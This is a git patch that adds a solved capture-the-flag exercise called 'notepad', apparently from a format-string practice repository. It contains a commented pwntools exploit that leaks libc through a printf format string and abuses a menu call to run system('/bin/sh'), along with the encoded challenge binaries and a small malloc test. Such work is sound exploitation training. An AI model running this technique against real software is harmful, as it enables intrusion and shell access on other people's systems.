From 0deb3b5025a06966e049e9571def79b28f20f10a Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Sun, 19 Sep 2021 17:33:26 +0800 Subject: [PATCH] Finished format-string/notepad --- format-string/notepad/answer.py | 111 +++++++++++++++++++++++++++++ format-string/notepad/notepad | Bin 0 -> 12524 bytes format-string/notepad/testMalloc | Bin 0 -> 7220 bytes format-string/notepad/testMalloc.c | 9 +++ 4 files changed, 120 insertions(+) create mode 100755 format-string/notepad/answer.py create mode 100755 format-string/notepad/notepad create mode 100755 format-string/notepad/testMalloc create mode 100644 format-string/notepad/testMalloc.c diff --git a/format-string/notepad/answer.py b/format-string/notepad/answer.py new file mode 100755 index 0000000..6cd0d80 --- /dev/null +++ b/format-string/notepad/answer.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python2 +from pwn import * +from LibcSearcher import * +from struct import pack +import os, base64, math, time +context(arch = "i386",os = "linux", log_level = "debug") + +def notepad_init(p): + p.recvuntil("::> ") + p.sendline("c") + +def notepad_new(p): + p.recvuntil("::> ") + p.sendline("a") + p.recvuntil("size > ") + p.sendline("16") + p.recvuntil("data > ") + p.sendline("\x00") + +def notepad_open(p, id, content, option): + p.recvuntil("::> ") + p.sendline("b") + p.recvuntil("id > ") + p.sendline("%d" % id) + p.recvuntil("edit (Y/n)") + p.sendline("Y") + p.recvuntil("content > ") + p.sendline(content) + p.recvuntil("::> ") + p.sendline(option) + +def notepad_open_noinput(p, id, option): + p.recvuntil("::> ") + p.sendline("b") + p.recvuntil("id > ") + p.sendline("%d" % id) + p.recvuntil("::> ") + p.sendline(option) + + +p = process('./notepad') +elf = ELF('./notepad') +gdb_command = """ + b *0x8048ae7 + b *0x8048ce8 + """ +# 0x8048ae7: malloc on notepad_new +# 0x8048ce8: call eax on notepad_open +strncpy_plt = elf.plt['strncpy'] +""" + The PLT address of printf end with 0x00, obstructed the copy from +stack variable array s in notepad_open() to v1->text in heap on strncpy() +function. According to PLT/GOT mechanism, call to PLT entry address + 6 +will lead to dynamic linker refilling the GOT table entry and reinvoke +function again. So add the origin PLT address to a offset 0x6 will have +the same effect on calling the pure PLT entry. +""" +printf_plt = elf.plt['printf'] + 0x6 +puts_plt = elf.plt['puts'] +puts_got = elf.got['puts'] +time.sleep(1) +# gdb.attach(p, gdb_command) + + +notepad_init(p) +""" + Via experimenting, every 0x20 Bytes memory block allocation request +sent to malloc() would lead to a 0x30 Bytes offset between two memory +block pointers. +""" +for i in range(4): + notepad_new(p) # Apply memory for 4 notepadStruct + +# Write strncpy() address to notepadStruct0.text(¬epadStruct0+16B) +notepad_open(p, 0, p32(strncpy_plt), "a") +""" + First, send the printf format string to stack variable array s. The +11th argument will be the GOT adress of puts. We need to leak that. + Secondly, there exists a vulnerability in menu() so we can call arbitary +function, and the offset between ¬epadStruct1 and ¬epadStruct0.text +is 0x20, so we minus 8 here in the option. + In all, we executed strncpy(¬epadStruct1, "%11$s", 16). +""" +notepad_open(p, 1, "%11$s " + "\x00", chr(ord("a") - 8)) +# Write printf() address to notepadStruct0.text(¬epadStruct0+16B) +notepad_open(p, 0, p32(printf_plt), "a") +""" + Here we wrote GOT address of puts() to the stack also the 11th argument +position and called the printf(). + In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to +leak the libc address of puts to find libc base offset. +""" +notepad_open(p, 1, p32(puts_got) + " \x00", chr(ord("a") - 8)) + +puts_libc = u32(p.recv(4)) +print("puts libc: %s" % hex(puts_libc)) +libc = LibcSearcher('puts', puts_libc) +libc_base = puts_libc - libc.dump('puts') +print("base libc: %s" % hex(libc_base)) +system_libc = libc_base + libc.dump('system') +print("system libc: %s" % hex(system_libc)) + +# Similarly, copy "/bin/sh" as the first argument +notepad_open(p, 2, p32(strncpy_plt), "a") +notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8)) +# Prepare system() +notepad_open(p, 2, p32(system_libc), "a") +# Call system("/bin/sh") +notepad_open_noinput(p, 3, chr(ord("a") - 8)) + +p.interactive() \ No newline at end of file diff --git a/format-string/notepad/notepad b/format-string/notepad/notepad new file mode 100755 index 0000000000000000000000000000000000000000..9f336cf8571e383ea48782b43d806596737bf92b GIT binary patch literal 12524 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 DJ0zMp literal 0 HcmV?d00001 diff --git a/format-string/notepad/testMalloc b/format-string/notepad/testMalloc new file mode 100755 index 0000000000000000000000000000000000000000..ba5b9626b02711f7c498dd243d465f3eb2daaf81 GIT binary patch literal 7220 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 S-c#ImM{tO5+8X(z?EV7{@US%i literal 0 HcmV?d00001 diff --git a/format-string/notepad/testMalloc.c b/format-string/notepad/testMalloc.c new file mode 100644 index 0000000..0371e58 --- /dev/null +++ b/format-string/notepad/testMalloc.c @@ -0,0 +1,9 @@ +#include +#include +int main(){ + for(int i=0; i<10; i++){ + void *p = malloc(0x20); + printf("%p\n", p); + } + return 0; +}